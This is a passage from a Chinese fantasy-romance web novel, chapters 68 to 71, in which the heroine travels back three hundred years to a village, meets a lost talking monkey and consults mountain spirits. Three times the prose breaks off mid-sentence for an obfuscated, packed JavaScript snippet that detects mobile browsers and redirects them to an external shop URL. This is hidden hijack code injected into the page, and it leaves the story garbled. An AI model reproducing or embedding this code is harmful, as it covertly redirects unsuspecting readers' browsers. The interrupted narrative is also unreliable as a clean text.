这次回到三百年前一共只能停留十天,已经不明不白过了一天,她要应该抓紧时间做点什么。但现在花神村看上去一片祥和,邻里之间相安无事,她应该从哪里入手? 慕小闲蹑手蹑脚地走出门,探头四顾,田野黑漆漆一片。她屏住呼吸拔腿就跑,在田间小道一路狂奔数百米才停下松了口气。 幽暗处传来熟悉的声音:“你要做什么?” 慕小闲惊得双脚离地:“嘶......” 他踏破夜色,从树阴下缓缓走出,夜风扬起衣袖,精致的面具在昏暗中泛着一线银辉,看不透阴影下他眸中的神色。 “我看月色不错,出来散步哈哈。”慕小闲做了个伸展运动,抬头就见今晚浓云掩住了月色,天空漆黑一片。 真是不给面子。 慕小闲佯装无事发生,甩甩胳膊,伸伸腿,深呼一口气:“你若没事就回去休息。我随便逛逛,过会儿再回去。” 白衣平淡道:“我陪你。” 慕小闲摆摆手:“不用。我这么大个人还能走丢不成?”她的目光在白衣身上转了一圈,感觉他好像没有回去的意思,瞬间心里有些崩溃。 “白衣,我回到三百年前的花神村是有任务在身,时间有限不能耽搁。也许你也有必须回来的理由,所以我们各干各的行吗?” 白衣微微摇了摇头,语气坚定不容置喙:“不行。” 慕小闲哽了一下:“什么?” 白衣好似轻叹了一声,太过轻微难以捕捉:“我帮你。” “会有危险。”慕小闲劝阻道。 白衣反问道:“有危险你为何要来?” 若是他故意阻拦,慕小闲可以理解,因为她深更半夜在外闲逛,就不像个好人。但他非但不阻拦反而要帮,倒是让她感到很意外。 她蹙眉凝视着白衣,沉静的夜色下,白衣衣袂翻飞,晚风扬起他束起的长发,让慕小闲心里没来由地一动。 “你是谁?为什么屡次帮我?” 白衣的声音依旧平和:“我的帮助或是身份,选一个。” “真的不能说?”慕小闲仔细打量他面具中裸露的眼睛,似乎想从中挖掘出他的身份,但那双眼睛平平无奇,她记忆中没有任何一双眼睛是这副模样。 白衣点点头。 慕小闲迟疑了一会儿,他的实力她先前已经见过,若是能帮她,绝对是天大的好事。只要白衣不与自己为敌,身份并不重要。何况他不想说,她可以自己猜。 “算了。不为难你了。”慕小闲转头向花神庙的方向走去。 两人来到花神庙门口,却发现木门上了把巴掌大的精致红漆锁。三百年后无人在意的神庙,此刻像生怕被人觊觎的珍宝。 “白天神庙的香客太多,没办法在他们眼皮子底下找线索,所以我想晚上过来看看。”慕小闲弯下腰,拽着锁观察了一会儿,有些唏嘘:“没想到过去他们对花神庙这么重视,里面除了些水果还有什么可偷的?” 慕小闲放下手中的锁,捏着两指对着锁芯一转...... 锁毫无变化! 慕小闲能感觉到白衣静静地看着这一切,气氛一时有些尴尬。她浅浅呼出一口气,瞪着那把锁,指尖使劲......一股细若游丝的仙力幽幽飘出,很快断断续续,犹如轻烟消散在空气中,甚至还没来得及触碰到锁孔。 “奇怪,我怎么用不了仙力。”慕小闲小声说。 白衣沉着冷静,拂袖对着门寒光一现,锁芯“咔”地崩开,木门在黑夜中发出吱呀一声。 慕小闲一口气卡在喉头,直起身为他拍了拍手:“还是你厉害。我怎么不行?” “你的修为退回了三百年前。” 慕小闲手上一顿,马上双手运气,皱眉使劲感应半晌,体内的仙力果真聊胜于无。 虽然花莳提醒过她无法改变既定事实,回到过去也只能眼睁睁地看着这一切发生,但她已经习惯有仙力傍身,仙力突然消失,她立刻紧张起来。 白衣径直走进神庙,丢下一句:“莫怕。”他的声音沉稳有力,让慕小闲的慌乱稍微平息。 慕小闲深呼吸一口气,跟在他身后踏入庙中,此时白衣在她心中简直像天神下凡,拯救她与水火之中。 白衣点亮了神庙中的蜡烛,柔和的烛光映在冰冷的石像上,让花神唇边的微笑变得生动起来。 花神庙中,地面、案台打扫得干干净净,祭台上瓜果堆成了小山。 没有仙力慕小闲只能依靠肉眼观察,纵使她眼睛瞪得再大,也没看出这间神庙有什么不寻常。 当她埋头苦寻时,耳边突然传来微弱的呼吸声。 一呼一吸,安稳绵长。 薛定谔的感知力。居然没有消失。 她抬头怔愣地望着石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137732|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像,那尊冰冷的石像此刻好似挂着温柔的笑意。她有些不确定地向它缓缓走去,伸出手落在它的身上,耳边传来充满生命力的呼吸声,像是熟睡中的小婴孩。她心里一震,好像有什么坚硬的东西慢慢变得柔和。 花莳已经开智但尚未化形,每日躲在石头中聆听虔诚祭拜的声音,此时心灵纯净无比。 三百年对于这个渺小的神庙来说,是天翻地覆。她没有等来安稳的日子,她也没有按照任何人期许的模样长大,但她见证了花神村的历史,也用自己的方式守护着这里的人。 “石灵?”白衣停在她身侧问。 “嗯。是个麻烦精。”慕小闲收回手,慵懒地抬了抬眸:“我答应她要查清楚这件事。” 案上的烛火随着门外挤进的风陡然一窜,火光摇曳,墙上两人的影子仿佛包裹着一层温暖柔和的光。 她望着窗外乌云笼罩的黑影心想,山里真的会有怪物吗? 两人将神庙翻了个遍一无所获,但至少能够确定三百年前的怪事与这位花神无关。 夜色深沉,田间昏暗。雾气从山里飘下,菜叶覆上了一层薄薄的水汽。 “你有什么看法?”走在田间小道上,白衣问。 慕小闲伸了个懒腰,带着一丝困意喃喃道:“事情还未发生很难察觉到端倪,先回去好好休息,等天亮之后去村里问问吧。” 元叙的小屋静默在幽幽山影之下,屋外大片田地笼罩在一团黑暗中。 两人往小屋走去,脚步突然同时一顿,侧头看向田间。 田间密集处,昏暗得有些看不清楚。几片菜叶不自然地微微抖了抖,一只圆圆的眼睛遥遥隐在菜叶下惊恐地望着他们。 慕小闲眼角一跳,脑海中仿佛突然被鞭子抽了一下,顿时来了精神:有人偷菜? 不管是不是偷菜,大半夜躲在田里太可疑了。 她与白衣对视一眼,缓缓转头按照原始路径向小屋迈步,在身侧的气息松懈时,突然向它奔去。白衣低空飘起,身姿轻盈如同羽毛,从低矮的菜地略过。身后慕小闲拔腿就跑,从菜地的空隙间抄小道围堵。 眼看就在前方,那身影极其灵巧,三五下窜进了旁边的稻田,在半人高的禾苗间一闪而过。禾苗随风起伏,荡起层层黄绿色的波浪,掩盖了它的踪迹。 “什么东西?”慕小闲跑到稻田旁,顺手拿了随意放在路边的镰刀,指着禾苗叫道:“出来!”颇有“闰土刺猹”的气势。 白衣悬在上空,目光在稻田里逡巡。禾苗起此彼伏,连成一宽厚的漩涡,像是天然的阵法。 他屏息凝神,静候半晌,禾苗里发出了微弱的呼吸声。 慕小闲抬头与他对视,点了点头。 两人屏住住呼吸,悄悄向那声音挪移。慕小闲轻轻推开眼前的禾苗,眼睛一眨不眨地向里望去。 到底是什么?为什么会出现在这里? 那个声音突然一滞,急促地喘了两声,退向麦田的更深处。 慕小闲赶紧向它划去,渐渐走到了稻田边缘,像是有感应一般动作慢了下来。她轻轻拨开眼前最后一道屏障,望向那团躲在禾苗阴影下瑟缩的身影和一双惊恐的眼睛。 它转身就要窜出去,被飘落的白衣拦住了去路。 慕小闲眨眨眼,挺起身迟疑道:“猴子?” 69. 第 69 章 小猴子在两人的注视下浑身发抖,圆溜溜的眼睛冒出一层薄薄的水雾,眼角与嘴角不由自主向下,似乎只要一个不对劲就会放声大哭。 慕小闲恍然生出一种极为古怪的感觉,她借着今夜盈盈如水的月色,凑近了打量小猴子。 小猴子眼中的水波一荡,控制不住咬着嘴唇小声抽泣起来,但两只眼睛依旧戒备地盯着慕小闲。 慕小闲心里一软,嘴巴也跟着瘪了下去。于是一人一猴大眼瞪小眼,四只红红的眼睛同时望向白衣,白衣不易察觉地颤抖了一下。 “你好啊。”慕小闲弯下腰冲小猴子摇摇手:“能听懂我说的话吗?” 小猴子憋住眼泪,吸吸鼻子,奶声奶气地拉了个变调的长音:“能——”话音未落,豆大的眼泪从眼角滑落。 “喂,你别哭啊。”慕小闲慌忙劝阻道,谁知小猴子愈演愈烈,嘴角瞬间瘪了下去,抽得上气不接下气。 怎么看都像是她在欺负小孩。 空气中突然传出“咕噜噜~”的声音,慕小闲一愣,就见小猴子脸上浮起红晕。 “饿——”小猴子挂着泪珠嗷嗷待哺。 慕小闲与白衣对视一眼,在对方眼里看到一丝局促。不知为何,她有点想笑:“拿点东西应该不会有事吧?” 谁能想到不过眨眼功夫,偷菜的剧情居然再一次上演,队伍甚至还壮大起来。 慕小闲与小猴子抱着几只新鲜玉米坐在路边,小猴子一眨眼功夫就扔下了几只玉米芯。 “我该怎么跟元叙说......”慕小闲一言难尽地看着小猴子:“如果我说他的玉米喂了猴子,他会不会觉得我疯了?” 白衣立在她们身侧未做回答。 慕小闲随手将粘在小猴子脸上的玉米碎碎扒下来,反被小猴子伸手夺去,一粒也不肯放过。她无奈地问:“你是从哪儿来的?” 小猴子张开的口一顿,眼珠转了转,糯糯地说:“山里来的。” “花神山?”慕小闲突然坐直了身体,神色紧张起来。 小猴子摇摇头:“不知道。” “来做什么?” “阿娘让我下山去找一个花神村的人。”说着他低下头,两眼泛着水光,神情又悲伤起来,竟是连手上的玉米都吃不下去:“我一下山就迷路了......” “哇——我是一只没有用的小猴子——”小猴子突然放声大哭,在黑夜中显得格外突兀。 慕小闲赶紧四周看了看,轻声安抚道:“喂喂......别哭啊,小点声......” 她思来想去也没明白猴子应该有什么用,但出于“人”道主义精神与突如其来的母性光环,她煞有其事地拍了拍小猴子的背,硬凹出一句:“生活充满了不期而遇,你想啊,如果不是走错路,你怎么会遇到我们呢?” 小猴子呆呆地望着她几秒,哇地痛哭出声:“谁~谁想见你啊。” 慕小闲举着两根玉米,尴尬地笑笑:“哈哈别哭了。我给你讲个故事吧。你想听什么故事?啊,有了,你听过齐天大圣孙悟空的故事吗?” 白衣飘扬,身上逸出轻快的气息。 元叙清晨起早,迷迷瞪瞪地出门洗漱,走到屋后的田地时,突然觉得好像有哪里不对。他从屋后绕回来,看见在院里逗猴子的慕小闲与立在一旁的白衣,顿时倒吸一口冷气。 “慕姑娘,这这这是?” “逗猴子。”慕小闲手上的稻草一撩,小猴子站起身伸手抓去......慕小闲突然转变方向,稻草从他胸口滑过去。 “哇!太狡猾了!”小猴子怒目圆瞪。 “为什么会有猴子?不对,猴子说话了!”大清早接连冲击,元叙惊呼一声,退后两步。 慕小闲眼珠一转:“这是沾了仙气的猴子,自然会说话。” 元叙吓得不轻,神色木讷地喃喃:“沾了仙气...... “为何沾了仙气的猴子会出现在这里?” “我是来找人的!”小猴子答道。 元叙又倒吸了一口冷气,找人?难道是来找他的?他与这猴子素昧平生为何要来找他? “他娘让他下山寻一个人,说是拿着一把黄花菜对方就能会意。你对黄花菜有什么看法?”慕小闲问。 小猴子瞪着眼睛,期待地望着他。 元叙怔愣了一下,转头望向田里的一片金黄,眼中一片茫然:“黄花菜......” 看样子是没有看法。 “那找的便不是你。”随着这句话,元叙肩上僵硬的线条一松。 小猴子脸上露出委屈的表情,元叙见了安慰道:“原来是来寻人的。或许可以去村里问问,但,它最好不要再说话了。” 小猴子站在慕小闲肩上望着长街来往匆匆的行人,皱紧了眉头,尾巴耷拉下来,凑在她耳边小声说:“怎么都长的一样啊。” 慕小闲“嘘”了一声,目光在盯着一个又一个从她身前经过的人,神情紧张地说:“别说话。” 街上有人远远见了,小声议论:“现在日子不好过啊,卖艺的都跑咱们村来了。” “可不是,这姑娘与猴子长得都挺别致。” 慕小闲手中摇晃的黄花菜一顿,拳头一紧,元叙急忙提醒:“慕姑娘,别捏坏了!” “这样下去能找到吗?”元叙小声嘀咕道。 近旁槐树上挂着一串串沉甸甸的槐花,风乍起时,白色花瓣如柳絮随风而落,空气中弥漫着恬淡的清香。慕小闲与白衣二人站在树荫花雨下,风姿绰然,就算加上了一些奇奇怪怪的东西依旧让人赏心悦目。 “你们在做什么?”槐树另一侧传来一个略带怒气的声音。 “为什么站在我家门口?”一个少年从树旁宅子的侧门跑出来,他长相端正,衣着光鲜,身上有一股干净的少年气。 他皱着眉头目光在他们身上打量了一番,最终落在熟悉的元叙身上:“我不是让你别来打扰我姐姐了吗?” 慕小闲眉头一挑,有故事? 元叙有些尴尬地冲少年摆摆手:“阿也,不是这样的。我不是来找你姐姐的。” 少年抱起双臂,有些不耐烦:“那你在这里做什么?卖艺?” 元叙尴尬地看了看身旁的两位,一位手握着黄花菜,肩上顶着只猴子,另一位浑身包裹得如同白无常。怎么看都不像是正经人? “阿也,别胡说。他们是我的朋友。” 少年轻哼一声,满不在意地说:“也就你会交这种朋友。”说完,他上前与元叙对视,看上去比元叙年幼却高了他半头,身形自带压迫感,眼神如同犀利的刀子:“离我家远一点。离我姐姐远一点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137733|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我警告过你。” “阿也,我与你姐姐......”元叙眼神慌乱地解释道。 少年愤愤地撇过头去:“你与我姐姐没有关系。还有,我叫褚也。” 墙那边传来一个温和的声音:“阿也,你在与谁说话?” 元叙的脸色一变,身上竟然有些僵硬,他怔愣着缓缓转向声源,眼底仿佛凝聚了一场暴风骤雨。 褚也不屑地看了他一眼,高声回道:“有几个卖艺的占了道,我让他们快走。” 元叙身子一颤,向前挪了两步,遥遥向墙内望去。 褚也挡住他的视线:“别看了快走。” 墙那边静默了一会儿,突然带着三分急促问道:“是他来了吗?阿也,你在与谁说话?” “我没同谁说话!”褚也的声音不自然地抬高。 墙那边窸窸窣窣,褚也眼中闪过不悦,转身往回走去,元叙的目光一路追着他回到门边。 木门在褚也到达前被猛地推开,一张清秀的面庞冲了出来,与元叙遥遥相望一眼,眼神悠远绵长、恍若隔世。他们明明置身于喧嚣之中,却只看得见对方的身影。 下一秒,褚也将她推了回去,门“砰”地一声关上,隔绝了元叙流连的目光。 “阿宁......”元叙眼中闪过刺痛,攥了攥拳,又无力地松开,身上笼罩着强烈的失落与惆怅。 “他怎么了?”小猴子悄悄问。 慕小闲不知作何解释,最后冒出一句:“大人的事小孩别掺和。” 小摊旁,元叙坐在桌边,怏怏不乐地舀着碗里的小汤圆,舀起、放下,舀起、放下......碗里早就已经凉了。 “我已经两个月没同她见过面了......” 慕小闲放下碗,安慰道:“古人云,两情若是久长时,又岂在朝朝暮暮。” 白衣抬眸深深地看了她一眼。 方才那一眼不如不见,元叙仿佛被人勾了魂,精神萎靡:“不知何时是个头......” “他在说什么?”小猴子凑近了,眨着滴流的大眼睛小声问。 慕小闲冲它比了个“嘘”,往它手上塞了半块发糕,转头问元叙:“你喜欢她哪里?” “阿宁善良单纯,像温柔皎洁的月光。”元叙垂眸,寥寥几字,他说得情真意切。 “你也说过我像仙女。”慕小闲说。 白衣瞥了元叙一眼,元叙莫名觉得身上有些发冷。 元叙解释道:“慕姑娘在我心里是仙女模样,但阿宁在我心中却是爱人模样。” 慕小闲一怔,他若是能将两种模样分清楚,也委实令人感动。 半晌,她道:“我看那个阿宁对你也有情义,不如你试着讨好一下未来小舅子?” 元叙垂头丧气地说:“阿也不喜欢我。如何讨好?” 慕小闲与白衣对视一眼,又遥遥向山上望去。虽然她很想帮元叙和小猴子,但她还没有找到当年花神村出现的怪物的蛛丝马迹,时间不多了,她不能再耗下去了。 “你想想他为何不喜欢你,然后对症下药。我与表哥还有事,我们先走了。”慕小闲起身,看了眼蹲在凳子上的小猴子,对元叙说:“你对村子比较熟悉,小猴子就交给你了。” 小猴子眨眨眼睛,看着元叙露出疑惑的神情。 70. 第 70 章 花神山荒草丛生,几乎无路可走,比三百年后的景象多了几分大自然原始的狂野。祥云如同它的主人一般温和轻盈,带着二人不紧不慢地从高高低低的枝头飘过,脚下是一望无际的盎然绿意。 “我记得这附近有一个瀑布。”慕小闲探出身子往下看,几十米的高度让她产生了一股眩晕感,她重心不稳身型一晃,被白衣抓住袖子扯了回来。 “谢谢。没有仙力真不方便,我好像平衡感都变差了。” 待她站好,白衣松了手,负手而立,淡淡道:“不用。” 祥云乖乖地落下,白衣从云端轻盈地踏在地上,转身向慕小闲伸出手。慕小闲也不客气,扶着他的手从云上跳下来。祥云渐渐变得稀薄,最终被风吹散。 哗哗水声如雷贯耳,瀑布之势气吞山河,粗暴地贯入深不可测的寒潭之中,磅礴雨雾在幽幽山林间弥漫。溪水波光粼粼,冲刷着河底斑斓的石头,源源不断地向山下奔去。 水不在深有龙则灵,这里大抵不可能有龙,但慕小闲身临其境感悟到了漫山遍野的灵气。 不似前日叽叽喳喳的声音,而是如同幼孩一般温润悠长的呼吸声,让人不忍打搅这种安宁。 慕小闲深吸一口山中的新鲜空气,问道:“为什么我还能感受到灵体?” 白衣不冷不淡地说:“感知力是魂灵天生拥有的能力,不需要修炼,只要将它唤醒。” 慕小闲似懂非懂地点点头:“所以就算回到了几百年前,我的感知力并没有消失,因为我已经打开它了。” 白衣微微点了下头。 慕小闲静静听了一会儿,问:“我可以与它们对话吗?在山里找寻蛛丝马迹犹如大海捞针,不如问问山里的灵体,说不定它们知道些什么。” 白衣应了一声:“试着呼唤它们。” 慕小闲坐在弥漫的白色水汽中,周遭的景物像披着一层朦胧的纱,她闭上眼睛屏息凝神,侧耳倾听。漆黑的脑海中,呼吸声越来越清晰。渐渐,黑暗深处好像冒出了一些微弱的光点。那些光点犹如遥远的繁星闪着微弱的光芒,一收一张,像在呼吸一般。 “我看到了......有光!” 渐渐黑暗中的光点连成一片,中间有一朵比周遭更加明艳。 “集中注意力。”白衣的声音,好像从天边传来。 “是它们吗?”在神识之中,慕小闲向它们走去。 那是一朵绚烂的光球,闪烁着温暖柔和的光芒,随着她的靠近,愉悦地微微晃动。 “这就是灵体吗?”慕小闲轻声问。 耳边传来金属撞击的声音,光球闪了闪,发出温柔的声音:“嗯呐。” “我是山里的树灵。你找我何事?” “我想知道最近这里有没有出现异样?”慕小闲问。 “没有哦。”光球闪了闪。 没有?慕小闲眉头一皱,怎么可能都没有?那怪物难道是凭空冒出来的不成? “你再好好想想,山里是不是有个巨大的怪物,或者问问你的同伴?” 光球声音委屈地说:“没有就是没有啊,我天天守在山中,山里发生的事情我都知道,根本没有怪物。” 神识之外,慕小闲闭着眼睛说:“它说没有异样。” 白衣沉默半晌:“问它花神山的由来。” 光球闪了闪:“啊,我也搞不懂为什么山下的人会叫这座山花神山。不过听说大约两百年前,山下村里的一位村民上山采摘时,救了山北那边的一只猴子。” “猴子?”慕小闲心里一紧。 “是啊,猴子被山里的野猪追赶,不小心掉下山崖身上受伤动弹不得。一位村民偶然路过,听见崖底呜呜咽咽的声音,接了长长的草绳将它钓上来,还给了点水和吃食。猴子感激得不行,于是每年那个时候都会下山,说是要报恩。不久后山下那村子就莫名其妙改了名字,还顺便给这座山安了个名字。” 慕小闲回过味来,觉得自己可能忽略了些重要的信息:“等等,每年那个时候?猴子活了两百年?” 光球晃了晃:“不啊,一开始是每年一次,但猴子寿命有限,没过多久它就将这件事传给了后代。后代自然不比当事人,五年十年记得下山一次就不错了。不过这演变成了它们家族的传统,经历了两百年也没断就是。” 小十一当时的猜测居然是对的,花神山并没有出现过花神这个形象,从始至终只有一群记性很好的猴子 “那些猴子现在还在山里吗?”慕小闲问。 光球黯了黯:“近年来花神村越来越多人上山打猎,猴子大多迁去了别的山,数量越来越少......” 光球补充道:“最近一代只剩下那一只......” “咦?”它向慕小闲靠的近了些:“你已经见过它了吧。那只可怜的小猴子。” 慕小闲不敢置信地眨眨眼:“你是说刚刚下山的那只?” “对。它阿娘前几日去世,嘱咐它记得下山报恩,它一直哭一直哭,不知道听进去没有。” 慕小闲心里仿佛压了一块石头,说话的声音都压抑了许多:“它听进去了。” “那就好。可是它去了几日,怎么还没回来?” 慕小闲有些难以启齿:“它......它找不到路......” 光球闪了闪,略带恼意:“我就知道我就知道,这个小笨蛋!它阿娘跟它说了好几遍,村东边三岔路口往东走三步,第三棵槐树后就是了。它哭得昏天黑地,什么也没听清楚。” 慕小闲尴尬地笑笑:“我会转告它的。” 光球平息了一会儿,自顾自在她面前转悠:“还有什么问题吗?” 白衣的声音遥遥传来:“这附近可有魔气?” 光芒突然一窜:“什么魔气?诶,你这么一说,好像是有哪天出现了。我想想......” “啊!就是这几年的事情,不过我记不大清,约莫有一日山下有些动静,不过太远了我感觉很微弱。” 山下?山下可大了去了,也许根本不在花神山附近。 “二位大神为何会光顾这座小山?难道要发生什么事了?”光球一闪,紧张地问道。 “等等,我怎么感觉......”光球凑近了几乎贴在慕小闲身上。 “你们身上有石灵的味道。”光球的声音沉了下去,喃喃道:“石灵出山是近百年左右的事,难道和它有关系?不,它才刚刚产生意识,不可能将你们带来。难道是山下出事了......” 光球呆滞在原地,不停念叨:“出事了出事了真的出事了......”灵体有自己的感知,有时甚至能预料到危机存在,饶是慕小闲多加安慰,灵体仍旧陷于自己的认知中。 慕小闲从神识中出来,顿时头晕目弦像被抽去了力气,软弱无力地靠在树边:“怎么办?山上和山下都没有怪物出现的征兆,难道它是凭空出现的?” 白衣半蹲在她面前,缓缓伸手搭在她肩上探了探,“你需要休息。” 慕小闲舔舔嘴唇,身上仿佛被压了块大石头,“奇怪,为何我会这么累?” “你在用三百年前的魂灵,三百年前你还非常弱小。”白衣顿了一下:“与灵体交流会消耗大量精力。” 慕小闲叹了口气,三百年前?若是她真有三百年前,大抵也只是个普普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏离眼睫轻颤,面无表情,声音低沉又冷淡,听不出一丝情绪:“错在哪里。” 他越是没有表情,慕小闲心里越是没底,她腿上一哆嗦,低头答道:“我不是故意瞒着你出门的。” 晏离缓慢又清晰地拿捏着:“你每次都不是故意。” “......” 这么说好像也没错。 慕小闲还在纠结,晏离倒先问了,“这次又是为什么?” “是......”慕小闲舔舔唇,眸中精光一闪:“上次去花神山落了东西,我回来寻。” 晏离看着她的发旋,眼底闪过一丝愠怒:“抬头看着我。” 慕小闲心里一紧,缓缓抬起头,讪讪地看了晏离一眼又垂下头:“我说的是真的。” 晏离气极反笑,清冷的容颜略带笑意犹如白莲绽放。 “你寻到了?” 慕小闲挂着僵硬的笑容:“还没有。” 晏离不经意地问:“丢的是什么?” 可惜她身无分文,也没带什么好东西,把自己丢了的可能性都比丢东西大。 晏离脸色蓦地一沉,身上寒气渐重:“你每次都是这副小心翼翼的神态。”他散发着冰冷的气息向慕小闲靠近了一步:“你为什么如此小心翼翼?” 如若不是心里有鬼,她平日哪里会看人脸色,斟酌再三。 晏离的语气重了,慕小闲心里陡然一慌,无措感竟是从心底蹿了上来。 “师父......”她抿了抿嘴唇。 “......”晏离不语。 完蛋。重大师徒信任危机!她该拿什么挽回晏离! 于是两权相害取其轻,慕小闲立马放下执念,坦白从宽抗拒从严。 71. 第 71 章 慕小闲攥紧了晏离的袖口,微蹙着眉,眼中一番挣扎,露出一副痛定思痛的样子:“我招!我什么都招!” 晏离淡淡瞥了她一眼,仿佛不在意她的表演,但一瞥过后神情认真起来。 慕小闲低声道:“上次我和小十一在花神山时,因为遇到了华尧,所以事情解决得很顺利,也就忽略了很多问题。譬如阿寐作为魔族为何要来花神山?为何要将花神山的动物炼成魔物?她是从什么时候开始的?是否有其他魔族参与?也许虐待动物也许只是一个表象,这里还有其他我们未曾发觉的事情。 “我追索到三百年前花神山曾经遭遇过一次怪物袭击,花神村伤亡惨重,也直接改变了花神石像的命运。而那个时期,花神山的灵体曾感知到过魔气,所以我想回到三百年前,也许就能弄清楚这里究竟发生了什么。” “你是为了寻找答案?”晏离微微抬眼,眼神无波:“你对魔族很有兴趣?” “不。”慕小闲犹豫了一下:“我没有那么强的好奇心与求知欲。花神山、阿寐和魔族的一切都与我没有关系,我可以什么都不知道。” “但是......”慕小闲的语气渐缓,抬眸看着晏离的眼睛真切地说道:“我担心花神山未来可能还有灾难,还有......”她瞳孔之中倒映着晏离清冷的神色,渐渐凝固。 “还有什么?”晏离薄唇微启,面不改色。 “因为你。”慕小闲小声说。 晏离眼色微变:“你说什么?” 慕小闲慌忙掩饰道:“小十一受到花神山灵体的影响做了一个梦,梦到你浑身是血。我怕你会被卷进去,所以过来看看能不能自己先解决掉。”慕小闲的声音越来越弱。 “胡闹!”晏离敛了眉,语气重了几分。 慕小闲知道他会不高兴,但总比他真的被卷入莫名的灾难好。 她拉了拉晏离的袖口,故作乖巧地抿了抿嘴,挤出一弯浅浅的酒窝,道:“晏离,我就在这里待上几日,查清楚了就回去,查不清楚肯定也要回去。我回去后一定加紧修炼,你说什么我都听你的。你在家好好休息,可千万别出门啊。” 晏离沉静的眸光泛起波澜,唇抿成了一条冷然的线,目光在慕小闲脸上停留须臾:“你真是这么想。” 明明是个疑问句,却用陈述语气说出来,好似在不确定中带着些期许。 慕小闲双眼冒光,“真挚”地望着晏离的眼睛:“是的,我真的是为了你!” 晏离不知道有没有将她表忠心的话听进去,但总算不再为难她,神情像是在思索什么,眼眸又恢复了深沉平静。 灵境之树上泛起一阵波光,空灵的声音响彻大地。 慕小闲望着巨大的树冠问:“晏离,为什么我回到三百年前还能见到你?” 晏离淡淡道:“回到过去只是一种虚像,你的魂灵依旧在现世。” 慕小闲回忆起这两天发生的点点滴滴,有一种怅然若失的感觉。白衣、元叙、小猴子的面庞一晃而过,他们也只是虚像吗? 慕小闲回过头望向晏离,此刻的他是否是真实的? 慕小闲眨眨眼睛:“晏离,为什么我总会进入你的灵境?” 晏离顿了须臾,云淡风轻道:“你想来。” 慕小闲深吸一口气,完全没想过是自己有意闯进别人灵境的。她打扰了晏离的现实生活不说,现在还企图染指人家的灵魂?! “我不是故意的。”突然想起晏离说她每次都不是故意! “不,我以后会尽量控制自己不打扰你。” 晏离并未应答,或许根本不信她的话。没错,但凡她能控制,就不会站在这里了。 “休息好了吗?”晏离冷冷地问。 慕小闲:? “没事就出去。” 慕小闲张张口,生硬地应了一声“哦”。 晏离抬眸,眼神一凌,一股寒气卷上她的身体。慕小闲身形像卡顿的画面一样,逐渐抽离而去。出去的瞬间慕小闲在心中呐喊,他怎么好像又生气了? 一夜安稳,慕小闲醒来发现自己回到了元叙的家中。 元叙蹲在院子里石砌的炉子旁扇扇子,热的满头大汗。 “你在做什么?”慕小闲闻了闻气味,皱起眉头。 “啊!慕姑娘你醒了!”元叙赶忙站起身,将蒲葵扇攥在手里:“我听白兄说你太劳累晕倒了,所以熬了一些安神的汤药。” 空气中弥漫着一股浓浓的中药味,慕小闲呆滞了一下:“不......不了吧......” “慕姑娘别见外,这汤药真的很管用的。” “白衣呢?” 白衣从屋里缓缓走出。 慕小闲瞪着眼睛问:“是你让他煎药的?” 白衣不管不顾,纵容元叙为她端上了一碗黑黝黝的汤药,苦中带涩的气味让她捂着鼻子后退几步,撞上了院里的丝瓜藤架,藤上结的丝瓜摇摇欲坠。 “这真的能喝吗?” 白衣回应:“我看着他熬的。” “慕姑娘,你也别怪白兄,他是你哥哥。这汤药是我祖传的真的很管用,诶,你别跑啊......” 慕小闲最终还是在元叙和白衣的围攻下,捏着鼻子将那碗汤药一饮而尽。那销魂滋味一路灌进她的身体,她头皮发麻,浑身都恶心透了。 “你们是故意整我的吧?”慕小闲的声音更加虚弱了。 白衣:“不是。” 还说不是? 元叙解释:“真的不是。慕姑娘你身体很虚,要多多休息。” 她就是个虚像怎么能不虚? 慕小闲的目光四处搜索了一圈,突然想起好像少了什么:“小猴子去哪儿了?” 元叙答道:“它记起要找的地方,我就将它送过去了。不过它的黄花菜捏坏了,主人见了也没说什么。” 找到了?慕小闲下意识去看白衣,发现他也在看自己。 “是村东边三岔路口往东走三步那家?” 元叙弯下身收拾药壶,思索了一下:“是吧。当时小猴子很肯定地说就是那里。” 慕小闲疑惑地问:“你把它留在那儿了?” 元叙点点头:“主人要留他吃饭。” 慕小闲心里依旧有些不安,垂眸沉默了一会儿,抬头说:“走。我们去看看小猴子找的那户人家。” 元叙放下手中的活儿,眼中染上了几分不自然,有些抗拒道:“再去打扰不好吧。” 慕小闲不疑有他:“不放心就一起去呀。” 元叙终究没能躲过慕小闲的魔抓,随二人一同来到收留小猴子的人家。 屋外一圈土灰色石墙包裹,广梁大门虽有些年代,依旧显得气派阔绰,与周遭其他人家大不相同。 “这户人家是做什么的?”慕小闲站在门前问。 元叙道:“做医馆。” “村里一共几十口人,光靠医馆能做到发家致 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家仆立刻将门大开,守在一边,余光瞟了一眼元叙。 慕小闲跨进门槛,便将门后的院落尽收眼底,院子方正简单,却有院外的槐树枝叶从墙外伸进来,白色花蕊挂在墙头,就像女子头上带的串串珠花。 刚才说话的是一位中年男人,穿着大气,面上端着和蔼的笑意站在院子中央。 他的眼睛细长,笑起来的时候眯成了一条线:“小侄,怎么不介绍一下你的朋友?” 小侄?慕小闲转头看了一眼元叙。 